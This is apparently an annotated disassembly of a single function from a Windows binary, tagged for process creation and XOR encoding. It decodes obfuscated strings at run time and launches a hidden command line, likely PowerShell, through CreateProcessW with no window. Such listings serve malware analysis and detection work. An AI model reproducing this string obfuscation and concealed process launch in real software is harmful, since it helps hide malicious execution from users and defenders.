Function at 0x40a5e0
Capabilities:
Create process on windows
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5f6b40
mov eax, dword fs:[0]
push eax
sub esp, 0x16c
mov eax, dword [0x6817dc]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
call fcn.00406a40
mov ecx, eax
test ecx, ecx
je 0x40aa64
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x14], eax
mov eax, 0x664bac
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x14]
test eax, 0xffff0000
jne 0x40a64d
movzx eax, ax
push eax
call fcn.0040cee0
jmp 0x40a659
push 0
push 0x664bac
call fcn.0040d210
mov dword [ebp - 4], 1
xor ecx, ecx
mov dword [ebp - 0x7c], 0xa1faa1e3
mov dword [ebp - 0x78], 0xa1fca1eb
mov dword [ebp - 0x74], 0xa1bca1fd
mov dword [ebp - 0x70], 0xa1f8a1f7
mov dword [ebp - 0x6c], 0xa1f9
mov byte [ebp - 0x68], 1
nop dword [eax]
lea eax, [ecx - 0x5e73]
xor word [ebp + ecx*2 - 0x7c], ax
inc ecx
cmp ecx, 9
jb 0x40a690
lea eax, [ebp - 0x7c]
mov byte [ebp - 0x68], 0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edx, eax
test edx, edx
je 0x40aa20
movaps xmm0, xmmword [0x665120]
xor ecx, ecx
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x1c], 0
movups xmmword [ebp - 0x94], xmm0
mov dword [ebp - 0x84], 0xc5fdf3e8
mov dword [ebp - 0x80], 0x100d1d3
nop
lea eax, [ecx - 0x73]
xor byte [ebp + ecx - 0x94], al
inc ecx
cmp ecx, 0x16
jb 0x40a6f0
lea eax, [ebp - 0x94]
mov byte [ebp - 0x7d], 0
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40aa20
lea ecx, [ebp - 0x1c]
push ecx
lea ecx, [ebp - 0x20]
push ecx
lea ecx, [ebp - 0x18]
push ecx
call eax
cmp dword [ebp - 0x18], 0xa
jb 0x40aa20
mov dword [ebp - 0x178], 0xa1e1a1fd
xor eax, eax
mov dword [ebp - 0x174], 0xa1f5a1f8
mov dword [ebp - 0x170], 0xa1e1a1e3
mov dword [ebp - 0x16c], 0xa1f1a1fb
mov dword [ebp - 0x168], 0xa1faa1f9
mov dword [ebp - 0x164], 0xa1b5a1b7
mov dword [ebp - 0x160], 0xa1f4a1f0
mov dword [ebp - 0x15c], 0xa1e9a1eb
mov dword [ebp - 0x158], 0xa1f8a1e9
mov dword [ebp - 0x154], 0xa1d2a1f0
mov dword [ebp - 0x150], 0xa1c3a1cc
mov dword [ebp - 0x14c], 0xa184a1d7
mov dword [ebp - 0x148], 0xa1c9a1cb
mov dword [ebp - 0x144], 0xa1cda1c9
mov dword [ebp - 0x140], 0xa187a189
mov dword [ebp - 0x13c], 0xa1d9a1c4
mov dword [ebp - 0x138], 0xa1dea1d9
mov dword [ebp - 0x134], 0xa1c4a1da
mov dword [ebp - 0x130], 0xa1dda1d7
mov dword [ebp - 0x12c], 0xa1d9a1c1
mov dword [ebp - 0x128], 0xa1c2a1d4
mov dword [ebp - 0x124], 0xa1d6a197
mov dword [ebp - 0x120], 0xa1d4a1d6
mov dword [ebp - 0x11c], 0xa19ca1de
mov dword [ebp - 0x118], 0xa1f0a190
mov dword [ebp - 0x114], 0xa1aea1d0
mov dword [ebp - 0x110], 0xa1aca188
mov dword [ebp - 0x10c], 0xa1a1a1b7
mov dword [ebp - 0x108], 0xa1a7a1b7
mov dword [ebp - 0x104], 0xa1bca1a4
mov dword [ebp - 0x100], 0xa1bca1a0
mov dword [ebp - 0xfc], 0xa1eca1ae
mov dword [ebp - 0xf8], 0xa18da1e0
mov dword [ebp - 0xf4], 0xa1bda1a0
mov dword [ebp - 0xf0], 0xa1b3a1bc
mov dword [ebp - 0xec], 0xa1b0a1bd
mov dword [ebp - 0xe8], 0xa1f4a1f5
mov dword [ebp - 0xe4], 0xa1bca196
mov dword [ebp - 0xe0], 0xa1f7a1bd
mov dword [ebp - 0xdc], 0xa1aca196
mov dword [ebp - 0xd8], 0xa1aca18d
mov dword [ebp - 0xd4], 0xa186a1ba
mov dword [ebp - 0xd0], 0xa190a184
mov dword [ebp - 0xcc], 0xa18aa186
mov dword [ebp - 0xc8], 0xa183a186
mov dword [ebp - 0xc4], 0xa1c5a1c7
mov dword [ebp - 0xc0], 0xa192a1ac
mov dword [ebp - 0xbc], 0xa180a188
mov dword [ebp - 0xb8], 0xa19da198
mov dword [ebp - 0xb4], 0xa19fa186
mov dword [ebp - 0xb0], 0xa1a2a19f
mov dword [ebp - 0xac], 0xa180a192
mov dword [ebp - 0xa8], 0xa1d6a19d
mov dword [ebp - 0xa4], 0xa1dda1d0
mov dword [ebp - 0xa0], 0xa1dda18a
mov dword [ebp - 0x9c], 0xa1d9
mov byte [ebp - 0x98], 1
nop dword [eax + eax]
lea ecx, [eax - 0x5e73]
xor word [ebp + eax*2 - 0x178], cx
inc eax
cmp eax, 0x6f
jb 0x40a970
push esi
lea eax, [ebp - 0x178]
mov byte [ebp - 0x98], 0
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.0040d430
mov esi, dword [ebp - 0x14]
xorps xmm0, xmm0
add esp, 0xc
movlpd qword [ebp - 0x60], xmm0
movlpd qword [ebp - 0x58], xmm0
movlpd qword [ebp - 0x50], xmm0
movlpd qword [ebp - 0x48], xmm0
movlpd qword [ebp - 0x40], xmm0
movlpd qword [ebp - 0x38], xmm0
movlpd qword [ebp - 0x30], xmm0
movlpd qword [ebp - 0x28], xmm0
mov dword [ebp - 0x64], 0x44
movups xmmword [ebp - 0x78], xmm0
cmp dword [esi - 4], 1
jle 0x40a9ec
push dword [esi - 0xc]
lea ecx, [ebp - 0x14]
call fcn.0040be90
mov esi, dword [ebp - 0x14]
lea eax, [ebp - 0x78]
push eax
lea eax, [ebp - 0x64]
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
push esi
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x40aa23
push 0x2710
push dword [ebp - 0x78]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x40aa23
mov esi, dword [ebp - 0x14]
mov dword [ebp - 4], 0xffffffff
add esi, 0xfffffff0
or eax, 0xffffffff
lock xadd dword [esi + 0xc], eax
dec eax
test eax, eax
jg 0x40aa42
mov ecx, dword [esi]
push esi
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0055e6d4
mov esp, ebp
pop ebp
ret 4
push 0x80004005
call fcn.004068b0
int3